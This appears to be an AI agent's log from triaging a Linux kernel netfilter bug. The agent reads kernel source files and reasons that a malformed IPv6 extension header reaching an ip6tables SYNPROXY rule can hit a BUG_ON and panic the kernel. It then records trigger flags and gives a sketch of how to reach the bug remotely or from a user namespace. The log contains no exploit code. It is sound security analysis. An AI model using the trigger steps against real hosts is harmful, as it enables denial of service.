Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:nf_conntrack_tcp_packet SourceFile:net/netfilter/nf_conntrack_proto_tcp.c SourceLine:1023 SourceSnippet:1013: enum nf_ct_tcp_action res;
1014: enum ip_conntrack_dir dir;
1015: const struct tcphdr *th;
1016: struct tcphdr _tcph;
1017: unsigned long timeout;
1018:
1019: th = skb_header_pointer(skb, dataoff, sizeof(_tcph), &_tcph);
1020: if (th == NULL)
1021: return -NF_ACCEPT;
1022:
1023: if (tcp_error(th, skb, dataoff, state))
1024: return -NF_ACCEPT;
1025:
1026: if (!nf_ct_is_confirmed(ct) && !tcp_new(ct, skb, dataoff, th, state))
1027: return -NF_ACCEPT;
1028:
1029: spin_lock_bh(&ct->lock);
1030: old_state = ct->proto.tcp.state;
1031: dir = CTINFO2DIR(ctinfo);
1032: index = get_conntrack_index(th);
1033: new_state = tcp_conntracks[dir][index][old_state];
]] TruncatedOutput:false]
|
| 58/2 |
2026/09/23 03:28 |
llm |
expert |
0m
Model:
Tokens:
input: 61533
output: 41
thoughts: 464
Thoughts: **Analyzing the TCP SYNPROXY Vulnerability**
Okay, so I've been digging into this kernel issue, and here's what I've found. The `skb_header_pointer` check in `nf_conntrack_tcp_packet` seems solid; it handles potential out-of-bounds reads and returns `-NF_ACCEPT` correctly before calling `tcp_error`. That part's safe, thankfully.
The real culprit is that `synproxy_tg6` target. The problem stems from how it calculates the offset for the checksum calculation. `synproxy_tg6` calls `nf_ip6_checksum`, using an offset computed via `ip6_packet_match` and `ipv6_find_hdr`. The potential flaw lies in `ipv6_find_hdr`. If a malformed IPv6 extension header, specifically one with a large length field is present, and if the packet is truncated, `ipv6_find_hdr` can return an offset that's greater than `skb->len`. This leads to `nf_ip6_checksum` passing an invalid `dataoff` to `skb_checksum`, which then triggers a `BUG_ON`. Bang!
Now, the critical question is, can this be exploited remotely? The answer is yes. If the host has an `ip6tables` rule with the `SYNPROXY` target, a crafty attacker can send a malicious IPv6 packet, it matches the rule and boom. Kernel panic.
Moreover, can an unprivileged process trigger this? Yes, by creating user and network namespaces, setting up the `SYNPROXY` rule, and sending a crafted packet over loopback. So it's accessible from unprivileged code.
Ultimately, is it exploitable for anything more than denial of service? No. The `BUG_ON` results in a kernel panic; it's a straightforward DoS. No privilege escalation or information leak is possible here.
I need to confirm, but I should look at `synproxy_tg4` to see if there is another place to consider.
|
| 59/2 |
2026/09/23 03:28 |
tool |
read-file |
0m
Args: map[File:net/ipv4/netfilter/ipt_SYNPROXY.c FirstLine:1 LineCount:100]
Results: map[Contents: 1: // SPDX-License-Identifier: GPL-2.0-only
2: /*
3: * Copyright (c) 2013 Patrick McHardy <kaber@trash.net>
4: */
5:
6: #include <linux/netfilter_ipv4/ip_tables.h>
7: #include <linux/netfilter/x_tables.h>
8: #include <linux/netfilter/xt_SYNPROXY.h>
9:
10: #include <net/netfilter/nf_synproxy.h>
11:
12: static unsigned int
13: synproxy_tg4(struct sk_buff *skb, const struct xt_action_param *par)
14: {
15: const struct xt_synproxy_info *info = par->targinfo;
16: struct net *net = xt_net(par);
17: struct synproxy_net *snet = synproxy_pernet(net);
18: struct synproxy_options opts = {};
19: struct tcphdr *th, _th;
20:
21: if (nf_ip_checksum(skb, xt_hooknum(par), par->thoff, IPPROTO_TCP))
22: return NF_DROP;
23:
24: th = skb_header_pointer(skb, par->thoff, sizeof(_th), &_th);
25: if (th == NULL)
26: return NF_DROP;
27:
28: if (!synproxy_parse_options(skb, par->thoff, th, &opts))
29: return NF_DROP;
30:
31: if (th->syn && !(th->ack || th->fin || th->rst)) {
32: /* Initial SYN from client */
33: this_cpu_inc(snet->stats->syn_received);
34:
35: if (th->ece && th->cwr)
36: opts.options |= XT_SYNPROXY_OPT_ECN;
37:
38: opts.options &= info->options;
39: opts.mss_encode = opts.mss_option;
40: opts.mss_option = info->mss;
41: if (opts.options & XT_SYNPROXY_OPT_TIMESTAMP)
42: synproxy_init_timestamp_cookie(info, &opts);
43: else
44: opts.options &= ~(XT_SYNPROXY_OPT_WSCALE |
45: XT_SYNPROXY_OPT_SACK_PERM |
46: XT_SYNPROXY_OPT_ECN);
47:
48: synproxy_send_client_synack(net, skb, th, &opts);
49: consume_skb(skb);
50: return NF_STOLEN;
51: } else if (th->ack && !(th->fin || th->rst || th->syn)) {
52: /* ACK from client */
53: if (synproxy_recv_client_ack(net, skb, th, &opts, ntohl(th->seq))) {
54: consume_skb(skb);
55: return NF_STOLEN;
56: } else {
57: return NF_DROP;
58: }
59: }
60:
61: return XT_CONTINUE;
62: }
63:
64: static int synproxy_tg4_check(const struct xt_tgchk_param *par)
65: {
66: struct synproxy_net *snet = synproxy_pernet(par->net);
67: const struct ipt_entry *e = par->entryinfo;
68: int err;
69:
70: if (e->ip.proto != IPPROTO_TCP ||
71: e->ip.invflags & XT_INV_PROTO)
72: return -EINVAL;
73:
74: err = nf_ct_netns_get(par->net, par->family);
75: if (err)
76: return err;
77:
78: err = nf_synproxy_ipv4_init(snet, par->net);
79: if (err) {
80: nf_ct_netns_put(par->net, par->family);
81: return err;
82: }
83:
84: return err;
85: }
86:
87: static void synproxy_tg4_destroy(const struct xt_tgdtor_param *par)
88: {
89: struct synproxy_net *snet = synproxy_pernet(par->net);
90:
91: nf_synproxy_ipv4_fini(snet, par->net);
92: nf_ct_netns_put(par->net, par->family);
93: }
94:
95: static struct xt_target synproxy_tg4_reg __read_mostly = {
96: .name = "SYNPROXY",
97: .family = NFPROTO_IPV4,
98: .hooks = (1 << NF_INET_LOCAL_IN) | (1 << NF_INET_FORWARD),
99: .target = synproxy_tg4,
100: .targetsize = sizeof(struct xt_synproxy_info),
]
|
| 60/2 |
2026/09/23 03:28 |
llm |
expert |
0m
Model:
Tokens:
input: 63981
output: 40
thoughts: 85
Thoughts: **Checksum Calculation in synproxy_tg4**
Okay, so I see `synproxy_tg4` is calling `nf_ip_checksum` with `par->thoff` as an argument. And it looks like the checksum is being calculated for TCP traffic, which makes sense. My immediate question is, is `par->thoff` *always* going to be a valid offset relative to the packet length, particularly for IPv4 packets? Specifically, is it guaranteed that `par->thoff` will be less than or equal to the total length of the `skb`? We need to make sure we're not running into any out-of-bounds reads. The potential for a vulnerability here is pretty obvious. I need to confirm this. Let me check the code associated with this IP table's hooking and matching functionality. I'll jump into `ip_packet_match` within `net/ipv4/netfilter/ip_tables.c`, and see how the offset is validated, if at all.
|
| 61/2 |
2026/09/23 03:28 |
tool |
read-file |
0m
Args: map[File:net/ipv4/netfilter/ip_tables.c FirstLine:50 LineCount:50]
Results: map[Contents: 50:
51: if (NF_INVF(ipinfo, IPT_INV_SRCIP,
52: (ip->saddr & ipinfo->smsk.s_addr) != ipinfo->src.s_addr) ||
53: NF_INVF(ipinfo, IPT_INV_DSTIP,
54: (ip->daddr & ipinfo->dmsk.s_addr) != ipinfo->dst.s_addr))
55: return false;
56:
57: ret = ifname_compare_aligned(indev, ipinfo->iniface, ipinfo->iniface_mask);
58:
59: if (NF_INVF(ipinfo, IPT_INV_VIA_IN, ret != 0))
60: return false;
61:
62: ret = ifname_compare_aligned(outdev, ipinfo->outiface, ipinfo->outiface_mask);
63:
64: if (NF_INVF(ipinfo, IPT_INV_VIA_OUT, ret != 0))
65: return false;
66:
67: /* Check specific protocol */
68: if (ipinfo->proto &&
69: NF_INVF(ipinfo, IPT_INV_PROTO, ip->protocol != ipinfo->proto))
70: return false;
71:
72: /* If we have a fragment rule but the packet is not a fragment
73: * then we return zero */
74: if (NF_INVF(ipinfo, IPT_INV_FRAG,
75: (ipinfo->flags & IPT_F_FRAG) && !isfrag))
76: return false;
77:
78: return true;
79: }
80:
81: static bool
82: ip_checkentry(const struct ipt_ip *ip)
83: {
84: if (ip->flags & ~IPT_F_MASK)
85: return false;
86: if (ip->invflags & ~IPT_INV_MASK)
87: return false;
88: return true;
89: }
90:
91: static unsigned int
92: ipt_error(struct sk_buff *skb, const struct xt_action_param *par)
93: {
94: net_info_ratelimited("error: `%s'\n", (const char *)par->targinfo);
95:
96: return NF_DROP;
97: }
98:
99: /* Performance critical */
]
|
| 62/2 |
2026/09/23 03:28 |
llm |
expert |
0m
Model:
Tokens:
input: 65049
output: 41
thoughts: 38
Thoughts: Here's my thought process, as it stands:
**Debugging an IPTables Issue**
Okay, hold on a second. I'm deep in this `iptables` code, and I've just realized something critical. The `ip_packet_match` function⦠wait, it doesn't actually *set* the `par->thoff` variable! This is a potential problem. I need to figure out where that value is being established. It's crucial for the correct offset calculation within the packet processing flow. Where the heck is `par->thoff` being initialized within `ipt_do_table`? I need to trace back through the control flow and understand how this value is populated. It's time to get back to the code.
|
| 63/2 |
2026/09/23 03:28 |
tool |
read-file |
0m
Args: map[File:net/ipv4/netfilter/ip_tables.c FirstLine:250 LineCount:50]
Results: map[Contents: 250: * rule is also a fragment-specific rule, non-fragments won't
251: * match it. */
252: acpar.fragoff = ntohs(ip->frag_off) & IP_OFFSET;
253: acpar.thoff = ip_hdrlen(skb);
254: acpar.hotdrop = false;
255: acpar.state = state;
256:
257: WARN_ON(!(table->valid_hooks & (1 << hook)));
258: local_bh_disable();
259: addend = xt_write_recseq_begin();
260: private = READ_ONCE(table->private); /* Address dependency. */
261: cpu = smp_processor_id();
262: table_base = private->entries;
263: jumpstack = (struct ipt_entry **)private->jumpstack[cpu];
264:
265: /* Switch to alternate jumpstack if we're being invoked via TEE.
266: * TEE issues XT_CONTINUE verdict on original skb so we must not
267: * clobber the jumpstack.
268: *
269: * For recursion via REJECT or SYNPROXY the stack will be clobbered
270: * but it is no problem since absolute verdict is issued by these.
271: */
272: if (static_key_false(&xt_tee_enabled))
273: jumpstack += private->stacksize * current->in_nf_duplicate;
274:
275: e = get_entry(table_base, private->hook_entry[hook]);
276:
277: do {
278: const struct xt_entry_target *t;
279: const struct xt_entry_match *ematch;
280: struct xt_counters *counter;
281:
282: WARN_ON(!e);
283: if (!ip_packet_match(ip, indev, outdev,
284: &e->ip, acpar.fragoff)) {
285: no_match:
286: e = ipt_next_entry(e);
287: continue;
288: }
289:
290: xt_ematch_foreach(ematch, e) {
291: acpar.match = ematch->u.kernel.match;
292: acpar.matchinfo = ematch->data;
293: if (!acpar.match->match(skb, &acpar))
294: goto no_match;
295: }
296:
297: counter = xt_get_this_cpu_counter(&e->counters);
298: ADD_COUNTER(*counter, skb->len, 1);
299:
]
|
| 64/2 |
2026/09/23 03:28 |
llm |
expert |
0m
Model:
Tokens:
input: 66102
output: 43
thoughts: 2381
Thoughts: **Analysis of the IPv6 Extension Header DoS Vulnerability**
Okay, let's break this down. My initial thought was: `acpar.thoff = ip_hdrlen(skb);` and that `ip_hdrlen(skb)` resolves to `ip_hdr(skb)->ihl * 4`. I needed to confirm whether `ip_hdrlen(skb)` is inherently guaranteed to be less than or equal to `skb->len`. A quick check reveals that `ip_rcv` does indeed validate this condition with `iph->ihl * 4 <= skb->len`, so IPv4 is safe. The issue seems isolated to IPv6 because of the presence of extension headers, and I have to remember that this whole thing hinges on a `SYNPROXY` rule.
The bug reveals itself as:
- **Exploitable**: Not really; itβs a `BUG_ON`, a kernel panic, so it's a DoS. No memory corruption, no privilege escalation.
- **Denial of Service (DoS)**: Definitely.
- **Accessible From Unprivileged Processes**: Not directly; setting up `ip6tables` rules, particularly `SYNPROXY`, requires `CAP_NET_ADMIN`.
- **Accessible From User Namespaces**: Yes; a user namespace can be configured with all the necessary elements to expose it.
- **VM Guest Trigger**: No.
- **VM Host Trigger (Confidential Computing)**: Also no.
- **Ethernet Network Trigger**: Yes; a crafted IPv6 packet sent remotely can trigger it.
- **Other Remote Trigger**: Yes; any network interface can be utilized.
- **Peripheral Trigger**: No.
- **Malicious Filesystem Trigger**: No.
My further thought was if there's any way to exploit this into a memory corruption? I confirmed that `BUG_ON` halts the kernel and generally, they arenβt readily exploitable for privilege escalation.
I then went through the `skb_checksum` function, seeking to understand the logic. I looked for conditions where `len > skb->len` could be reached without hitting the `BUG_ON`. I started by checking the `len` wrap around, but since the variable is an `int`, and `dataoff` is `unsigned int`, so `len` will always be positive here.
Here's a breakdown of my thoughts:
1. **Context**: The critical code is within `nf_ip6_checksum`, called from `nf_hook_slow` that's called when `SYNPROXY` rules are defined.
2. **`skb_checksum` Call**: Inside `nf_ip6_checksum`, the core of the vulnerability is this:
```c
skb->csum = ~csum_unfold(
csum_ipv6_magic(&ip6h->saddr, &ip6h->daddr,
skb->len - dataoff,
protocol,
csum_sub(0,
skb_checksum(skb, 0,
dataoff, 0))));
```
3. **`dataoff` Calculation**: `dataoff` is passed as `len` to `skb_checksum`, which is an `int len`. This is calculated from `ipv6_find_hdr`, with a maximum value of around 24KB.
4. **The Bug Condition**: A crafted packet with malformed IPv6 extension headers can cause `dataoff` to become a large value, making `skb->len - dataoff` positive. `skb_checksum` computes checksums and passes `len` ( which is `dataoff - skb->len > 0`) to its internal `BUG_ON(len)` at the end of function which causes a panic.
5. **Trigger Conditions**:
* **DoS**: Always.
* **Exploitable**: False.
* **Unprivileged**: False, unless an administrator has pre-configured a `SYNPROXY` rule, which then ANY remote or local user can send the malicious packet.
* **UserNamespace**: True, since they can create and configure the necessary elements.
* **NetworkTrigger**: Yes (remote attack).
* **RemoteTrigger**: Yes (remote attack).
6. **Unprivileged Remote Attack?** The key is the `SYNPROXY` rule. Without this, an unprivileged user cannot easily trigger it unless they have `CAP_NET_RAW`. However, since a remote attacker *can* send it, itβs a valid network trigger.
7. **`skb->ip_
|
| 65/2 |
2026/09/23 03:29 |
tool |
read-file |
0m
Args: map[File:net/netfilter/nf_conntrack_proto_udp.c FirstLine:56 LineCount:35]
Results: map[Contents: 56: static bool udp_error(struct sk_buff *skb,
57: unsigned int dataoff,
58: const struct nf_hook_state *state)
59: {
60: const struct udphdr *hdr;
61: struct udphdr _hdr;
62:
63: /* Header is too small? */
64: hdr = skb_header_pointer(skb, dataoff, sizeof(_hdr), &_hdr);
65: if (!hdr) {
66: udp_error_log(skb, state, "short packet");
67: return true;
68: }
69:
70: /* Truncated/malformed packets */
71: if (!udp_validate_len(skb, hdr, dataoff)) {
72: udp_error_log(skb, state, "truncated/malformed packet");
73: return true;
74: }
75:
76: /* Packet with no checksum */
77: if (!hdr->check)
78: return false;
79:
80: /* Checksum invalid? Ignore.
81: * We skip checking packets on the outgoing path
82: * because the checksum is assumed to be correct.
83: * FIXME: Source route IP option packets --RR */
84: if (state->hook == NF_INET_PRE_ROUTING &&
85: state->net->ct.sysctl_checksum &&
86: nf_checksum(skb, state->hook, dataoff, IPPROTO_UDP, state->pf)) {
87: udp_error_log(skb, state, "bad checksum");
88: return true;
89: }
90:
]
|
| 66/2 |
2026/09/23 03:29 |
llm |
expert |
0m
Model:
Tokens:
input: 70044
output: 42
thoughts: 70
Thoughts: Okay, let me break this down.
**Diving into the Code's Logic**
Alright, I'm tracing through this code, and the key observation here is the ordering: `skb_header_pointer` comes before `nf_checksum`. Thatβs the critical link. Given that specific ordering, `synproxy_tg6` is the one target. I've got to ensure I haven't missed anything.
Now, hold on a second... Could `synproxy_tg6` truly be the *only* target that uses `par->thoff` directly, without any prior validation? This makes me start to think about edge cases. I need to verify that and exclude any other targets. I better double-check the `ip6t_mh.c` file. I need to make sure my logic is sound.
|
| 67/2 |
2026/09/23 03:29 |
tool |
read-file |
0m
Args: map[File:net/ipv6/netfilter/ip6t_mh.c FirstLine:31 LineCount:20]
Results: map[Contents: 31: static bool mh_mt6(const struct sk_buff *skb, struct xt_action_param *par)
32: {
33: struct ip6_mh _mh;
34: const struct ip6_mh *mh;
35: const struct ip6t_mh *mhinfo = par->matchinfo;
36:
37: /* Must not be a fragment. */
38: if (par->fragoff != 0)
39: return false;
40:
41: mh = skb_header_pointer(skb, par->thoff, sizeof(_mh), &_mh);
42: if (mh == NULL) {
43: /* We've been asked to examine this packet, and we
44: can't. Hence, no choice but to drop. */
45: par->hotdrop = true;
46: return false;
47: }
48:
49: if (mh->ip6mh_proto != IPPROTO_NONE) {
50: par->hotdrop = true;
]
|
| 68/2 |
2026/09/23 03:29 |
llm |
expert |
0m
Model:
Tokens:
input: 70640
output: 39
thoughts: 36
Thoughts: Okay, here's my attempt at summarizing those thoughts from an expert's perspective, using a first-person perspective:
**Deep Dive on skb_header_pointer and Potential DCCP Interactions**
Right, so I'm seeing this code using `skb_header_pointer`. The key point here is that it's relying on a check: `par->thoff <= skb->len`. That `thoff` offset is crucial. This whole thing hinges on whether that offset is within the bounds of the SKB's data length. Seems straightforward, but it's where these subtle memory issues tend to show their ugly head.
But, immediately, I'm thinking... could there be a conflict with the `xt_dccp.c` module? We need to remember that DCCP (Datagram Congestion Control Protocol) has some interesting interactions with SKBs and header manipulation. Are we potentially stepping on each other's toes with header offsets, or data interpretations, or maybe even buffer allocations? I need to check how it works and whether it could affect the current `skb_header_pointer`'s offset calculations. Need to investigate `xt_dccp.c` right now, just to make sure we're not heading for some subtle data corruption or memory leaks. This bears further investigation.
|
| 69/2 |
2026/09/23 03:29 |
tool |
read-file |
0m
Args: map[File:net/netfilter/xt_dccp.c FirstLine:96 LineCount:20]
Results: map[Contents: 96: dccp_mt(const struct sk_buff *skb, struct xt_action_param *par)
97: {
98: const struct xt_dccp_info *info = par->matchinfo;
99: const struct dccp_hdr *dh;
100: struct dccp_hdr _dh;
101:
102: if (par->fragoff != 0)
103: return false;
104:
105: dh = skb_header_pointer(skb, par->thoff, sizeof(_dh), &_dh);
106: if (dh == NULL) {
107: par->hotdrop = true;
108: return false;
109: }
110:
111: return DCCHECK(ntohs(dh->dccph_sport) >= info->spts[0]
112: && ntohs(dh->dccph_sport) <= info->spts[1],
113: XT_DCCP_SRC_PORTS, info->flags, info->invflags)
114: && DCCHECK(ntohs(dh->dccph_dport) >= info->dpts[0]
115: && ntohs(dh->dccph_dport) <= info->dpts[1],
]
|
| 70/2 |
2026/09/23 03:29 |
llm |
expert |
0m
Model:
Tokens:
input: 71366
output: 38
thoughts: 22
Thoughts: Here's my attempt at summarizing the thought process, tailored for an expert audience:
**Kernel Header Investigation**
Okay, so I'm digging into this code and my initial focus is on the `skb_header_pointer` function. It's clearly a key piece of the puzzle here, likely responsible for accessing header data within the socket buffer. I need to understand its exact purpose and how it's being employed in this context.
My next line of thinking immediately jumps to other likely points of implementation: Is this function common across modules using network communication? Given the use of `xt_tcpudp.c` across multiple protocols, it is another file I must consult. How does `xt_tcpudp.c` handle this functionality? Are there any obvious areas in `xt_tcpudp.c` that would use, or otherwise interact with, this `skb_header_pointer` function? I suspect there's a strong connection there and that this is where I'll find some crucial clues about the data extraction process. I need to check the interactions between those modules as they pertain to reading the SKB information.
|
| 71/2 |
2026/09/23 03:29 |
tool |
read-file |
0m
Args: map[File:net/netfilter/xt_tcpudp.c FirstLine:69 LineCount:25]
Results: map[Contents: 69: static bool tcp_mt(const struct sk_buff *skb, struct xt_action_param *par)
70: {
71: const struct tcphdr *th;
72: struct tcphdr _tcph;
73: const struct xt_tcp *tcpinfo = par->matchinfo;
74:
75: if (par->fragoff != 0) {
76: /* To quote Alan:
77:
78: Don't allow a fragment of TCP 8 bytes in. Nobody normal
79: causes this. Its a cracker trying to break in by doing a
80: flag overwrite to pass the direction checks.
81: */
82: if (par->fragoff == 1)
83: par->hotdrop = true;
84: /* Must not be a fragment. */
85: return false;
86: }
87:
88: th = skb_header_pointer(skb, par->thoff, sizeof(_tcph), &_tcph);
89: if (th == NULL) {
90: /* We've been asked to examine this packet, and we
91: can't. Hence, no choice but to drop. */
92: par->hotdrop = true;
93: return false;
]
|
| 72/2 |
2026/09/23 03:29 |
llm |
expert |
0m
Model:
Tokens:
input: 72034
output: 66
thoughts: 856
Thoughts: **Analyzing the IPv6 Extension Header Vulnerability**
Okay, so I've been digging into this and it looks like the issue stems from how the kernel handles IPv6 extension headers with `skb_header_pointer`. The root cause is `synproxy_tg6`, it's the only one calling `nf_ip6_checksum` *before* `skb_header_pointer`. If it flipped that order, the bug wouldn't trigger because a `NF_DROP` would happen first.
Now, let's break down the implications for our final assessment:
* **Exploitable: False.** This is a `BUG_ON`, and the text makes it clear that a kernel panic resulting from a `BUG_ON` is a Denial of Service, not privilege escalation or an information leak. It halts the kernel, which is a DoS, not an exploit.
* **DenialOfService: True.** The `BUG_ON` guarantees the kernel will halt.
* **Unprivileged: False.** The prompt throws in a curveball on this one. It's asking whether this is reachable from a typical, non-root user process *without* special capabilities or user namespaces. It looks like it requires `CAP_NET_ADMIN` to configure the `ip6tables` rules, although, if the rule is already in place, an unprivileged user can't send a crafted packet locally without `CAP_NET_RAW` or user namespaces. A remote attacker can trigger the issue. Therefore, given the prompt's assumptions, it's a "No."
* **UserNamespace: True.** The vulnerability *can* be reached inside a user namespace where the process has `CAP_NET_ADMIN`, so this is True.
* **VMGuestTrigger: False.** This isn't KVM guest-specific.
* **VMHostTrigger: False.** This isn't KVM host-specific.
* **NetworkTrigger: True.** It's triggered by network traffic, specifically ingress network Ethernet traffic if the host is configured with `SYNPROXY`.
* **RemoteTrigger: True.** Can be triggered by processing remote traffic, not just Ethernet.
* **PeripheralTrigger: False.** Not related to peripherals.
* **FilesystemTrigger: False.** Not related to filesystems.
I have to go back to the *Unprivileged* question... If a privileged user sets up `SYNPROXY`, can a non-root user *trigger* it by sending a packet? The key is the IPv6 extension header. Yes, but it has to be malformed.
Can an unprivileged user craft a *malformed* IPv6 extension header? Generally, no. The kernel constructs the headers. `setsockopt(..., IPV6_HOPOPTS, ...)` lets them *add* them, but not necessarily make them larger than the packet. The kernel will allocate the skb appropriately, so the `skb->len` should be correct, preventing the truncation this bug requires. AF\_PACKET/RAW are needed, but they require capabilities. So, the original assessment of `Unprivileged: False` is solid.
The next thought is to consider the loopback interface with fragmentation! If the loopback MTU is small and fragmentation happens, could the bug appear? No. `ipv6_find_hdr` handles fragments, but the bug needs `skb->len` to be smaller than the extension header length. The kernel won't generate a truncated packet like that. So, `Unprivileged: False` remains correct.
Now, let's just double-check that `synproxy_tg6` is the *only* target. Yep. We've checked the usage of `par->thoff` and `nf_ip6_checksum`.
Finally, just to be *completely* sure, is the `BUG_ON` exploitable? The text on exploitability says that `BUG_ON` causes the kernel to panic, halting the execution, and is harder to exploit. Memory safety issues are almost always exploitable, but this is a kernel panic. Therefore, a `BUG_ON` is not exploitable.
Okay, I think we're ready to solidify those results.
|
| 73/2 |
2026/09/23 03:29 |
tool |
set-results |
0m
Args: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:true PeripheralTrigger:false RemoteTrigger:true Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
Results: map[DenialOfService:true Exploitable:false FilesystemTrigger:false NetworkTrigger:true PeripheralTrigger:false RemoteTrigger:true Unprivileged:false UserNamespace:true VMGuestTrigger:false VMHostTrigger:false]
|
| 74/2 |
2026/09/23 03:29 |
llm |
expert |
0m
Model:
Tokens:
input: 73917
output: 600
thoughts: 410
Thoughts: **My Analysis of the Kernel Panic**
Okay, the dust has settled, and I've got a clear picture of what's happening. The outcome is defined: a kernel panic. I've tracked the source down to a `BUG_ON(len)` within `skb_checksum`, specifically when it's triggered by `nf_ip6_checksum` during a call from `synproxy_tg6`. The real culprit, the root cause, is that `ipv6_find_hdr`, which is itself called through `ip6_packet_match` to calculate `par->thoff`, can return an offset (`par->thoff`) that exceeds the packet's length (`skb->len`). This occurs when a malformed IPv6 extension header is present in a truncated packet β imagine an extension header that claims a length larger than the remaining packet data.
The subsequent sequence is clear. `synproxy_tg6` then calls `nf_ip6_checksum` using the problematic `par->thoff` as an offset without any length validation. `nf_ip6_checksum` then dutifully passes this offset (`par->thoff`) as the `dataoff` argument to `skb_checksum`. The issue here is that `dataoff` becomes greater than the current `skb->len`. Consequently, `skb_checksum` processes any fragments and ends up with a positive value for `len`, which triggers the fatal `BUG_ON(len)` assertion at the end of the function. This effectively halts the system, leading to a Denial of Service.
From a security perspective, while a kernel panic is always a concern, I'm confident that this isn't directly exploitable for privilege escalation or leaking information. It's a deterministic panic, meaning the execution simply stops. However, it can certainly be triggered and exploited. An unprivileged user with `CAP_NET_ADMIN` privileges within a user namespace can trigger it by setting up an `ip6tables` rule with the `SYNPROXY` target and then transmitting a specifically crafted packet over the loopback interface. Furthermore, the vulnerability can be triggered remotely if an `ip6tables` rule using the `SYNPROXY` target is configured for IPv6 on a target host. Fortunately, an unprivileged user without user namespaces cannot trigger this by design, as crafting the malformed packet requires `CAP_NET_RAW` privileges.
|
| 75/1 |
2026/09/23 03:30 |
action |
format-explanation |
0m
Results: map[Explanation:The bug is a Denial-of-Service (DoS) vulnerability caused by a `BUG_ON`
assertion failure in `skb_checksum()`.
### Root Cause Analysis
The issue occurs when the `SYNPROXY` target is used in `ip6tables`. When a
packet is evaluated against an `ip6tables` rule, `ip6_packet_match()` uses
`ipv6_find_hdr()` to parse IPv6 extension headers and find the transport header
offset, which is stored in `par->thoff`.
If an attacker sends a crafted IPv6 packet with a malformed extension header
(e.g., claiming a very large header length) such that the packet is truncated,
`ipv6_find_hdr()` can return a transport header offset (`start`) that is
strictly greater than the total packet length (`skb->len`).
Later, `synproxy_tg6()` is invoked and calls `nf_ip6_checksum(skb,
xt_hooknum(par), par->thoff, IPPROTO_TCP)` to verify the TCP checksum.
Crucially, `synproxy_tg6()` does this *before* verifying that `par->thoff` is
within the packet's bounds (which it later does via `skb_header_pointer()`).
`nf_ip6_checksum()` then calls `skb_checksum()` with `dataoff` set to
`par->thoff`. Because `dataoff > skb->len`, `skb_checksum()` processes all
available packet fragments but still has remaining bytes to checksum. This
triggers the `BUG_ON(len)` at the end of `skb_checksum()`, causing a kernel
panic.
### Security Impact
* **Exploitable:** No. The bug deterministically hits a `BUG_ON()` which halts
the kernel. It does not lead to memory corruption, use-after-free, or
information leaks.
* **Denial of Service:** Yes. Triggering the bug causes a kernel panic, crashing
the system.
* **Accessible From User Namespaces:** Yes. An unprivileged user can create a
new user and network namespace (`unshare -Urn`), configure an `ip6tables` rule
with the `SYNPROXY` target, and send a crafted packet over the loopback
interface to crash the host.
* **Accessible From Unprivileged Processes:** No. Without user namespaces, an
unprivileged user cannot configure `ip6tables` (requires `CAP_NET_ADMIN`).
Furthermore, they cannot easily send the required malformed IPv6 packet locally
without raw sockets (`CAP_NET_RAW`).
* **Remote / Network Trigger:** Yes. If a system administrator has configured
`ip6tables` with the `SYNPROXY` target for IPv6 traffic, a remote attacker can
trigger the kernel panic by sending a crafted IPv6 packet over the network.]
|